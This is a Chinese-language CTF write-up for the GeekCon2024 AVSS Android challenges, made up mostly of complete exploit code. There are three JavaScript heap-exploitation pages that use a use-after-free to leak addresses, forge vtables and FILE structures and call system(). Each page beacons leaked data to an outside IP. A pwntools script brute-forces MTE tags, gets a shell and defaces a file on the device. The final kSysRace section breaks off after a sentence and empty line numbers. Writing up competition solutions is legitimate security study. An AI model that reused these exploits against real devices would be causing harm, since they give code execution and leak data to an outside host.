0%

GeekCon2024 AVSS Writeup

Allocator

Android 4

先申请一些堆,间接释放后,再申请一些堆,由于UAF,此时堆指针数组里肯定有两个一样的指针,为了找出哪些数组下标里存的指针一样,可以通过show泄漏堆中的数据进行两两比较,建立一个map。然后利用UAF把其中一个下标对应的指针delete进行释放,那么此时可以通过另一个下标对释放后的堆进行操作。这里我们可以堆喷FileIO对象,堆喷成功后可以通过show泄漏so库的地址,然后伪造vtable后进行触发即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
<!DOCTYPE html>
<html>
<head>
<title></title>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
function stringToHex(str) {
var val="";
for(var i = 0; i < str.length; i++){
val += str.charCodeAt(i).toString(16);
}
return val;
}
function hexToString(hex) {
var str = '';
for (var i = 0; i < hex.length; i += 2) {
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
}
return str;
}
var sleep = function(time) {
var startTime = new Date().getTime() + parseInt(time, 10);
while(new Date().getTime() < startTime) {}
};
function log(info) {
xhr.open('GET', 'http://47.109.49.88/' + info, true);
xhr.send();
}


function add(index,size,key) {
window._jsbridge.add(index,key,size);
//sleep(1000);
}
function edit(index,content) {
window._jsbridge.edit(index,stringToHex(content));
//sleep(500);
}
function edit_hex(index,content) {
window._jsbridge.edit(index,content);
//sleep(500);
}
function show(index,size) {
ans = window._jsbridge.show(index,size);
return ans;
}

function del(index) {
window._jsbridge.delete(index);
//sleep(500);
}
function openfile(filename,mode) {
window._jsbridge.openfile(filename,mode);
//sleep(500);
}
function writefile(content) {
window._jsbridge.writefile(stringToHex(content));
//sleep(500);
}
function writefile_hex(content) {
window._jsbridge.writefile(content);
//sleep(500);
}
function readfile() {
ans = window._jsbridge.readfile();
//sleep(500);
return ans;
}

function closefile() {
window._jsbridge.closefile();
//sleep(500);
}

function getPadding(size,c) {
var ans = '';
for (var i=0;i<size;i++) {
ans += c;
}
return ans;
}
var heap_addr=null;
var elf_base=null;


function p32(value) {
var t = value.toString(16);
while (t.length != 8) {
t = '0' + t;
}
var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}

function u32(s) {
hex = stringToHex(s);
if (hex.indexOf('0x') === 0) {
hex = hex.slice(2);
}
if (hex.length % 2 !== 0) {
hex = '0' + hex;
}
var bytes = [];
for (var i = 0; i < hex.length; i += 2) {
bytes.push(hex.substr(i, 2));
}
bytes.reverse();
var littleEndianHex = bytes.join('');
return parseInt(littleEndianHex, 16);
}

//将系统中已有的0x100的碎片尽可能申请掉
for (var i=0;i<10;i++) {
add(48,0x1000,"key100");
}
add(49,0x1000,"key100");

//将系统中已有的0x10的碎片尽可能申请掉
for (var i=0;i<200;i++) {
add(0,0x4,"key10");
}
//添加一些0x90的堆
for (var i=0;i<48;i++) {
add(i,0x90,"key" + i);
edit(i,getPadding(0x90,String.fromCharCode(48+i)))
}
//间接的释放一些0x90的堆
for (var i=0;i<48;i+=2) {
del(i);
}
//重新申请0x90的堆回来
for (var i=1;i<48;i+=2) {
add(i,0x90,"key" + i);
}

//释放一个0x100的堆,用于给一些中间变量内存申请
del(48);

//查找堆块,找出具有相同堆指针的下标
map = {};
//寻找指针一样的下标
for (var i=0;i<48;i+=2) {
var x = stringToHex(getPadding(0x5,String.fromCharCode(48+i)));
for (var j=1;j<48;j+=2) {
var y = show(j,0x8);
//log("map " + x + "=" + y);
if (y.indexOf(x) != -1) {
map[i] = j;
log("map" + i + "=" + j);
break;
}
}
}
//利用UAF释放,可以在具有相同指针的另一个下标进行UAF操作
for (var i=0;i<0x48;i+=2) {
if (map[i]) {
del(i);
}
}
log("spray done");
//对gfileio结构体进行堆喷,让其落在UAF的堆中
//这里不断的openfile,然后查找内存,如果找到部分字符串ta/com.avss则堆喷成功
//注意show的参数大小size也会申请内存,会造成影响,因此采用4,影响较小
var found = -1;
var mode = -1;
for (var i=0;i<200;i++) {
openfile("for_leak",0);
//检查是否成功堆喷站位
for (var j in map) {
var y = show(map[j],0x9);
if (hexToString(y).indexOf("ta/com.a") === 0) {
//log("success0");
found = map[j];
mode = 0;
break;
} else if (y.indexOf('dc') != -1) {
//log("success1");
found = map[j];
mode = 1;
break;
}
}
if (found != -1) {
break;
}
}

var found_show = -1;
for (var j in map) {
var y = show(map[j],0x9);
if (y.indexOf("100000001300000073") != -1) {
found_show = map[j];
break;
}
}
log("found=" + found);
//log("show=" + found_show);
var gfileio_off;
if (mode == 0) {
gfileio_off = 0x38;
} else {
gfileio_off = 0x8;
}

//成功堆喷gfileio,接下来可以利用UAF进行泄漏和代码执行了
var leak = hexToString(show(found, 0x90));
var so_base = u32(leak.substring(gfileio_off, gfileio_off+4)) - 0x19bdc;
var gfileio_ptr_addr = so_base + 0x1C7C4;
var fake_vtable = so_base + 0x19CD4;
var bss = so_base + 0x1c7cc;
var leak_libc = hexToString(show(found_show, 16));
//var libc_base = u32(leak_libc.substring(12, 16)) - 0x4d100;
var libc_base = 0xb6e92000;
var system_addr = libc_base + 0x000246A0;
var arg1 = 0x61616161;
var arg2 = 0x62626262;

var msg = "so_base=" + so_base.toString(16);
msg += "&libc_base=" + libc_base.toString(16);
msg += "&system_addr=" + system_addr.toString(16);
log(msg);
var payload = stringToHex(getPadding(gfileio_off,"a"));
payload += p32(fake_vtable) + stringToHex(getPadding(0x18 - 4,"a"));
payload += p32(system_addr+1) + stringToHex(";log -t FLAG `cat /data/data/com.avss.testallocator/files/flag`;");
edit_hex(found,payload);
log("edit done");
//sleep(15000);

var payload2 = stringToHex(getPadding(0xC,"b"));
payload2 += p32(gfileio_ptr_addr)
writefile_hex(payload2);

</script>
</head>


<body>
<div>haivk</div>
</body>
</html>

Android 8

首先申请一些堆然后间接释放,堆喷fopen时创建的FILE结构体,此时间接释放的这些堆中肯定存在至少一个被堆喷为FILE结构体,利用UAF继续将这些间隔的堆释放然后重新申请,通过show泄漏堆中残留的libc指针;接下来的做法跟Android 4类似,想要找到具有同样指针的数组下标,但是由于0x18的堆太小,申请回来后内部的数据基本不是原来的(堆管理器破坏了原来的数据),因此不能直接show来获得内容然后比较。可以利用show的8字节溢出来泄漏超出8字节的内容。然后比较每个堆超出8字节的内容,如果一样则说明这两个堆指针是一样的。找到下标后进行堆喷,然后利用UAF伪造vtable并触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
<!DOCTYPE html>
<html>
<head>
<title></title>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
function stringToHex(str) {
var val="";
for(var i = 0; i < str.length; i++){
val += str.charCodeAt(i).toString(16).padStart(2,'0');
}
return val;
}
function hexToString(hex) {
var str = '';
for (var i = 0; i < hex.length; i += 2) {
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
}
return str;
}
var sleep = function(time) {
var startTime = new Date().getTime() + parseInt(time, 10);
while(new Date().getTime() < startTime) {}
};
function log(info) {
xhr.open('GET', 'http://47.109.49.88/' + info, true);
xhr.send();
}


function add(index,size,key) {
window._jsbridge.add(index,key,size);
//sleep(1000);
}
function edit(index,content) {
window._jsbridge.edit(index,stringToHex(content));
//sleep(500);
}
function edit_hex(index,content) {
window._jsbridge.edit(index,content);
//sleep(500);
}
function show(index,size) {
ans = window._jsbridge.show(index,size);
return ans;
}

function del(index) {
window._jsbridge.delete(index);
//sleep(500);
}
function openfile(filename,mode) {
window._jsbridge.openfile(filename,mode);
//sleep(500);
}
function writefile(content) {
window._jsbridge.writefile(stringToHex(content));
//sleep(500);
}
function writefile_hex(content) {
window._jsbridge.writefile(content);
//sleep(500);
}
function readfile() {
ans = window._jsbridge.readfile();
//sleep(500);
return ans;
}

function closefile() {
window._jsbridge.closefile();
//sleep(500);
}

function getPadding(size,c) {
var ans = '';
for (var i=0;i<size;i++) {
ans += c;
}
return ans;
}
var heap_addr=null;
var elf_base=null;


function p32(value) {
var t = value.toString(16);
while (t.length != 8) {
t = '0' + t;
}
var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}

function p64(value) {
var t = value.toString(16);
while (t.length != 16) {
t = '0' + t;
}
var ans = t.substr(14,2) + t.substr(12,2) + t.substr(10,2) + t.substr(8,2) + t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}

function u32(s) {
hex = stringToHex(s);
if (hex.indexOf('0x') === 0) {
hex = hex.slice(2);
}
if (hex.length % 2 !== 0) {
hex = '0' + hex;
}
var bytes = [];
for (var i = 0; i < hex.length; i += 2) {
bytes.push(hex.substr(i, 2));
}
bytes.reverse();
var littleEndianHex = bytes.join('');
return parseInt(littleEndianHex, 16);
}

//泄漏libc
for (var i=0;i<10;i++) {
add(i,0xa6f-0x8,"leak");
}
for (var i=0;i<10;i+=2) {
del(i);
}
//fopen时申请的堆大小为0xa6f
for (var i=0;i<100;i++) {
openfile("libc_leak",1);
}
for (var i=0;i<10;i+=2) {
del(i);
}
var libc_base = -1;
var system_addr = -1;
var heap_addr = -1;
var leak;
for (var i=0;i<50;i++) {
add(49,0xa6f-0x8,"leak");
x = show(49,0x60);
if (x.substring(0x90,0x92) == "c0" && x.substring(0xa0,0xa2) == "c8") {
leak = hexToString(x);
libc_base = u32(leak.substring(0x48, 0x50)) - 0x731c0;
system_addr = libc_base + 0x64144;
heap_addr = u32(leak.substring(0x8, 0x10));
log("libc_base=" + libc_base.toString(16) + "&system_addr=" + system_addr.toString(16) + "&heap_addr=" + heap_addr.toString(16));
break;
}

}

//将系统中已有的0x18的碎片尽可能申请掉
for (var i=0;i<200;i++) {
add(0,0x18,"alloc");
}

//记录每个堆溢出的8字节内容
overflow_map = {};
//记录每个堆的前一个堆是哪个
prev_map = {};
prev_map_values = [];

//添加一些0x18的堆
for (var i=0;i<32;i++) {
add(i,0x18,"key" + i);
edit(i,getPadding(0x18,String.fromCharCode(48+i)))
}

//记录每个堆块的超出8字节的内容
for (var i=0;i<32;i++) {
var y = show(i,0x20).substring(0x30,0x40);
//搜索keyxxxx
overflow_map[i] = y;
var k = hexToString(y);
if (k.indexOf("key") == 0) {
var n = parseInt(k.substring(3));
log("prev_map" + n + "=" + i);
prev_map[n] = i;
prev_map_values.push(i);
}
}

//释放一些0x18的堆
for (var i=0;i<32;i++) {
//不要释放作为某个堆的前一个堆
if (prev_map_values.indexOf(i) != -1)
continue;
del(i);
}
//重新申请0x18的堆回来
for (var i=32;i<49;i++) {
add(i,0x18,"key" + i);
}

//查找堆块,找出具有相同堆指针的下标
map = {};
//寻找指针一样的下标
for (var i=0;i<32;i++) {
if (prev_map_values.indexOf(i) != -1)
continue;
var x = overflow_map[i];
for (var j=32;j<49;j++) {
var y = show(j,0x20);
//log("map " + x + "=" + y);
if (y.substring(0x30,0x40) == x) {
map[i] = j;
log("map" + i + "=" + j);
break;
}
}
}
//利用UAF释放,可以在具有相同指针的另一个下标进行UAF操作
for (var i=0;i<32;i++) {
if (map[i]) {
del(i);
}
}
log("spray done");
//对gfileio结构体进行堆喷,让其落在UAF的堆中
//这里不断的openfile,然后查找内存,如果找到部分字符串ta/com.avss则堆喷成功
//注意show的参数大小size也会申请内存,会造成影响,因此采用4,影响较小
var found = -1;
var mode = -1;
var pre = -1;
for (var i=0;i<300;i++) {
openfile("spray_gfileio",0);
//检查是否成功堆喷站位
for (var j in map) {
if (prev_map[j]) {
//log("prev_map" + j + "=" + prev_map[j]);
var y = show(prev_map[j],0x20);
if (y.substring(0x30,0x32) == "08" && y.substring(0x33,0x34) == "3") {
found = map[j];
pre = prev_map[j];
break;
}
}
}
if (found != -1) {
break;
}
}
log("found=" + found + "&pre=" + pre);

//成功堆喷gfileio,接下来可以利用UAF进行泄漏和代码执行了
leak = hexToString(show(pre, 0x20));
var so_base = u32(leak.substring(0x18, 0x20)) - 0x34308;
//ldp x1, x0, [x0, #8] ; br x1
var gadget_addr = libc_base + 0x66078;
edit_hex(49,stringToHex(getPadding(0x18,"a")) + p64(gadget_addr) + stringToHex("log -t FLAG `cat /data/data/com.avss.testallocator/files/flag`"));
var fake_vtable = heap_addr;
var msg = "so_base=" + so_base.toString(16);
log(msg);
var payload = stringToHex(getPadding(0x18,"b")) + p64(fake_vtable);
edit_hex(pre,payload);
payload = p64(system_addr) + p64(heap_addr + 0x10);
edit_hex(found,payload);
log("edit done");
//sleep(15000);

writefile("trigger");

</script>
</head>


<body>
<div>haivk</div>
</body>
</html>

Android 12

做法更加简单,找到相同指针的下标后,直接堆喷FILE结构体,泄漏地址后伪造FILE结构体中的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
<!DOCTYPE html>
<html>
<head>
<title></title>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
function stringToHex(str) {
var val="";
for(var i = 0; i < str.length; i++){
val += str.charCodeAt(i).toString(16).padStart(2,'0');
}
return val;
}
function hexToString(hex) {
var str = '';
for (var i = 0; i < hex.length; i += 2) {
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
}
return str;
}
var sleep = function(time) {
var startTime = new Date().getTime() + parseInt(time, 10);
while(new Date().getTime() < startTime) {}
};
function log(info) {
xhr.open('GET', 'http://47.109.49.88/' + info, true);
xhr.send();
}


function add(index,size,key) {
window._jsbridge.add(index,key,size);
//sleep(1000);
}
function edit(index,content) {
window._jsbridge.edit(index,stringToHex(content));
//sleep(500);
}
function edit_hex(index,content) {
window._jsbridge.edit(index,content);
//sleep(500);
}
function show(index,size) {
ans = window._jsbridge.show(index,size);
return ans;
}

function del(index) {
window._jsbridge.delete(index);
//sleep(500);
}
function openfile(filename,mode) {
window._jsbridge.openfile(filename,mode);
//sleep(500);
}
function writefile(content) {
window._jsbridge.writefile(stringToHex(content));
//sleep(500);
}
function writefile_hex(content) {
window._jsbridge.writefile(content);
//sleep(500);
}
function readfile() {
ans = window._jsbridge.readfile();
//sleep(500);
return ans;
}

function closefile() {
window._jsbridge.closefile();
//sleep(500);
}

function getPadding(size,c) {
var ans = '';
for (var i=0;i<size;i++) {
ans += c;
}
return ans;
}
var heap_addr=null;
var elf_base=null;


function p32(value) {
var t = value.toString(16);
while (t.length != 8) {
t = '0' + t;
}
var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}

function p64(value) {
var t = value.toString(16);
while (t.length != 16) {
t = '0' + t;
}
var ans = t.substr(14,2) + t.substr(12,2) + t.substr(10,2) + t.substr(8,2) + t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}

function u32(s) {
hex = stringToHex(s);
if (hex.indexOf('0x') === 0) {
hex = hex.slice(2);
}
if (hex.length % 2 !== 0) {
hex = '0' + hex;
}
var bytes = [];
for (var i = 0; i < hex.length; i += 2) {
bytes.push(hex.substr(i, 2));
}
bytes.reverse();
var littleEndianHex = bytes.join('');
return parseInt(littleEndianHex, 16);
}

//添加一些0xac0的堆
for (var i=0;i<32;i++) {
add(i,0xac0-0x8,"key" + i);
edit(i,getPadding(0xac0-0x8,String.fromCharCode(48+i)))
}

//释放一些0xac0的堆
for (var i=0;i<32;i+=2) {
del(i);
}
//重新申请0xac0的堆回来
for (var i=32;i<49;i++) {
add(i,0xac0-0x8,"key" + i);
}

//查找堆块,找出具有相同堆指针的下标
map = {};
//寻找指针一样的下标
for (var i=0;i<32;i+=2) {
var x = stringToHex(getPadding(0x10,String.fromCharCode(48+i)));
for (var j=32;j<49;j++) {
var y = show(j,0x10);
//log("map " + x + "=" + y);
if (y == x) {
map[i] = j;
log("map" + i + "=" + j);
break;
}
}
}
//利用UAF释放,可以在具有相同指针的另一个下标进行UAF操作
for (var i=0;i<32;i+=2) {
if (map[i]) {
del(i);
}
}
log("spray done");
//对FILE结构体进行堆喷,让其落在UAF的堆中
//这里不断的openfile,然后查找内存
//注意show的参数大小size也会申请内存,会造成影响
var found = -1;
var libc_base = -1;
var system_addr = -1;
var heap_addr = -1;
var leak;
for (var i=0;i<100;i++) {
openfile("spray_FILE",1);
//检查是否成功堆喷站位
for (var j in map) {
var x = show(map[j],0x60);
//log("x=" + x);
if ((x.substr(0x90,0x2) == "58" && x.substr(0xa0,0x2) == "d0")) {
leak = hexToString(x);
//__sclose
libc_base = u32(leak.substr(0x48, 8)) - 0xA8C58;
system_addr = libc_base + 0x60CC4;
heap_addr = u32(leak.substr(0x8, 6) + "\0\0");
found = map[j];
break;
}
}
if (found != -1) {
break;
}
}
log("heap_addr=" + heap_addr.toString(16));
log("libc_base=" + libc_base.toString(16) + "&system_addr=" + system_addr.toString(16));

//log("found=" + found);

//成功堆喷FILE,接下来可以利用UAF进行泄漏和代码执行了
var payload = show(found,0x40);
payload += p64(heap_addr + 0x60)
payload += p64(system_addr);
payload += p64(0) + p64(0);
payload += p64(1);
payload += p64(heap_addr - 0x10);
payload += stringToHex('log -t FLAG `cat /data/data/com.avss.testallocator/files/flag`');
edit_hex(found,payload);
log("edit done");
//sleep(15000);

closefile();

</script>
</head>


<body>
<div>haivk</div>
</body>
</html>

MTE

HNS_PA_RW

free后没有清空指针,存在UAF

内存分配器使用的是Chromium中的PartitionAlloc分配器,该分配器在free时会对内存TAG加1,申请时如果有合适空闲堆块则直接申请出来不改变TAG。因此连续的申请释放同样大小的堆15次,可以得到与最初的堆一样的TAG,就可以对其进行进行访问了。通过堆喷Node结构体到content区,然后利用UAF控制Node结构体实现任意地址读写。调试发现在heap_addr - 0x281f0处有so中的指针,因此可以利用任意地址读写泄漏,但是此处的内存TAG不知道。调试了内核,发现一个有趣的特性,一个非法的TAG内存地址不经过用户态处理,直接传给内核系统调用,不会导致系统崩溃,只会使得内核进行el异常,内核会自动捕捉该异常并结束系统调用回到用户态。

而题目的show函数正好是这样设计的,直接把content指针交给了write系统调用。

因此可以对heap_addr - 0x281f0处的内存地址TAG进行爆破。如果write成功调用证明TAG正确。最后可以对free函数的指针进行劫持实现代码执行。

获得shell后,直接替换/sdcard/Documents/cache.html文件即可达到演示效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#coding:utf8
from pwn import *

#sh = process(argv=['./qemu-aarch64','-L','./','./libpa.so'])
libc = ELF('./system/lib64/libc.so')

#sh = process(argv=['./qemu-aarch64','-L','./','-g','1235','./libpa.so'])
sh = remote('192.168.10.16',12345)

#sh = remote('172.20.10.6',12345)
#libc = ELF('./libc11.so')

def add(size,content):
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('size:',str(size))
sh.sendafter('content:',content)

def edit(index,content):
sh.sendlineafter('Your choice:','2')
sh.sendlineafter('index:',str(index))
sh.sendafter('content:',content)

def delete(index):
sh.sendlineafter('Your choice:','3')
sh.sendlineafter('index:',str(index))

def show(index):
sh.sendlineafter('Your choice:','4')
sh.sendlineafter('index:',str(index))

add(0x18,'a'*0x18) #0
add(0x40,'b'*0x40) #1
delete(0)
for i in range(2,16):
add(0x18,'b'*0x18)
delete(i)

delete(1)
#fake Node struct
#set size = 0x20
add(0x18,b'c'*0x8 + p32(0x20) + b'\n') #16
for i in range(17,31):
add(0x18,b'd'*0x18)
delete(i)

add(0x18,b'd'*0x18) #31
show(0)
sh.recv(1)
sh.recv(0x10)
heap_addr = u64(sh.recv(8)) & 0xffffffffffff
print('heap_addr=',hex(heap_addr))
leak_ptr_addr = heap_addr - 0x281f0
print('leak_ptr_addr=',hex(leak_ptr_addr))
#guess tag
for i in range(0x10):
#fake 31 Node struct
edit(0,b'a'*0x8 + p32(0x8) + p32(0) + p64((i << 56) + leak_ptr_addr) + b'\n')
show(31)
sh.recv(1)
leak_value = u64(sh.recv(8))
if leak_value & 0xFF == 0xdc:
print('found TAG=',hex(i))
break

elf_base = leak_value - 0x12adc
# ldr x9, [x21] ldr x0, [x8] ; mov x1, x19 ; blr x9
gadget_addr = elf_base + 0x9BC70
putchar_got_addr = elf_base + 0xc44a8
print('elf_base=',hex(elf_base))
#leak libc
edit(0,b'a'*0x8 + p32(0x8) + p32(0) + p64(putchar_got_addr) + b'\n')
show(31)
sh.recv(1)
libc_base = u64(sh.recv(8)) - libc.sym['putchar']
system_addr = libc_base + libc.sym['system']
print('libc_base=',hex(libc_base))
print('system_addr=',hex(system_addr))

free_vtable_addr = elf_base + 0xCF148
bss = elf_base + 0xCF2E0
arg0_ptr_addr = elf_base + 0xcf000
heap_arr_addr = elf_base + 0xCF188

cmd = b'/bin/sh\x00'
#fake a vtable
edit(0,b'a'*0x8 + p32(0x100) + p32(0) + p64(bss) + b'\n')
edit(31,cmd.ljust(0x28,b'b') + p64(system_addr) + b'\n')

#set free vtable ptr to fake
edit(0,b'a'*0x8 + p32(0x100) + p32(0) + p64(free_vtable_addr) + b'\n')
edit(31,p64(bss) + b'\n')

#trigger
delete(31)
sleep(1)
#run shell to replace /sdcard/Documents/cache.html
sh.sendline('echo "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+SGFja2VkIGJ5IEhhMXZrPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsKICAgICAgICAgICAgbWFyZ2luOiAwOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiBibGFjazsKICAgICAgICAgICAgY29sb3I6ICMwMGZmMDA7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQ291cmllciBOZXcnLCBDb3VyaWVyLCBtb25vc3BhY2U7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgfQogICAgICAgIGNhbnZhcyB7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICB9CiAgICAgICAgLm1lc3NhZ2UgewogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHRvcDogNTAlOwogICAgICAgICAgICBsZWZ0OiA1MCU7CiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpOwogICAgICAgICAgICBmb250LXNpemU6IDNyZW07CiAgICAgICAgICAgIGNvbG9yOiAjMDBmZjAwOwogICAgICAgICAgICB6LWluZGV4OiAxOwogICAgICAgICAgICB0ZXh0LXNoYWRvdzogMHB4IDBweCA1cHggIzAwZmYwMDsKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgoKPGRpdiBjbGFzcz0ibWVzc2FnZSI+SGFja2VkIGJ5IEhhMXZrPC9kaXY+CjxjYW52YXMgaWQ9Im1hdHJpeENhbnZhcyI+PC9jYW52YXM+Cgo8c2NyaXB0PgogICAgY29uc3QgY2FudmFzID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm1hdHJpeENhbnZhcyIpOwogICAgY29uc3QgY3R4ID0gY2FudmFzLmdldENvbnRleHQoIjJkIik7CgogICAgY2FudmFzLndpZHRoID0gd2luZG93LmlubmVyV2lkdGg7CiAgICBjYW52YXMuaGVpZ2h0ID0gd2luZG93LmlubmVySGVpZ2h0OwoKICAgIGNvbnN0IGNoYXJhY3RlcnMgPSAiMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpAIyQlXiYqKCkiOwogICAgY29uc3QgZm9udFNpemUgPSAxNjsKICAgIGNvbnN0IGNvbHVtbnMgPSBjYW52YXMud2lkdGggLyBmb250U2l6ZTsKCiAgICBjb25zdCBkcm9wcyA9IFtdOwogICAgZm9yIChsZXQgeCA9IDA7IHggPCBjb2x1bW5zOyB4KyspIHsKICAgICAgICBkcm9wc1t4XSA9IE1hdGgucmFuZG9tKCkgKiBjYW52YXMuaGVpZ2h0OwogICAgfQoKICAgIGZ1bmN0aW9uIGRyYXcoKSB7CiAgICAgICAgY3R4LmZpbGxTdHlsZSA9ICJyZ2JhKDAsIDAsIDAsIDAuMDUpIjsKICAgICAgICBjdHguZmlsbFJlY3QoMCwgMCwgY2FudmFzLndpZHRoLCBjYW52YXMuaGVpZ2h0KTsKCiAgICAgICAgY3R4LmZpbGxTdHlsZSA9ICIjMDBmZjAwIjsKICAgICAgICBjdHguZm9udCA9IGZvbnRTaXplICsgInB4IG1vbm9zcGFjZSI7CgogICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgZHJvcHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgY29uc3QgdGV4dCA9IGNoYXJhY3RlcnNbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogY2hhcmFjdGVycy5sZW5ndGgpXTsKICAgICAgICAgICAgY3R4LmZpbGxUZXh0KHRleHQsIGkgKiBmb250U2l6ZSwgZHJvcHNbaV0gKiBmb250U2l6ZSk7CgogICAgICAgICAgICBpZiAoZHJvcHNbaV0gKiBmb250U2l6ZSA+IGNhbnZhcy5oZWlnaHQgJiYgTWF0aC5yYW5kb20oKSA+IDAuOTc1KSB7CiAgICAgICAgICAgICAgICBkcm9wc1tpXSA9IDA7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGRyb3BzW2ldKys7CiAgICAgICAgfQogICAgfQoKICAgIHNldEludGVydmFsKGRyYXcsIDMzKTsKCiAgICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigncmVzaXplJywgKCkgPT4gewogICAgICAgIGNhbnZhcy53aWR0aCA9IHdpbmRvdy5pbm5lcldpZHRoOwogICAgICAgIGNhbnZhcy5oZWlnaHQgPSB3aW5kb3cuaW5uZXJIZWlnaHQ7CiAgICB9KTsKPC9zY3JpcHQ+Cgo8L2JvZHk+CjwvaHRtbD4K" | base64 -d > /sdcard/Documents/cache.html')
sleep(2)

sh.interactive()

kSysRace

Android 10

利用gadget构造任意读写原语,直接搜索cred结构体然后修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
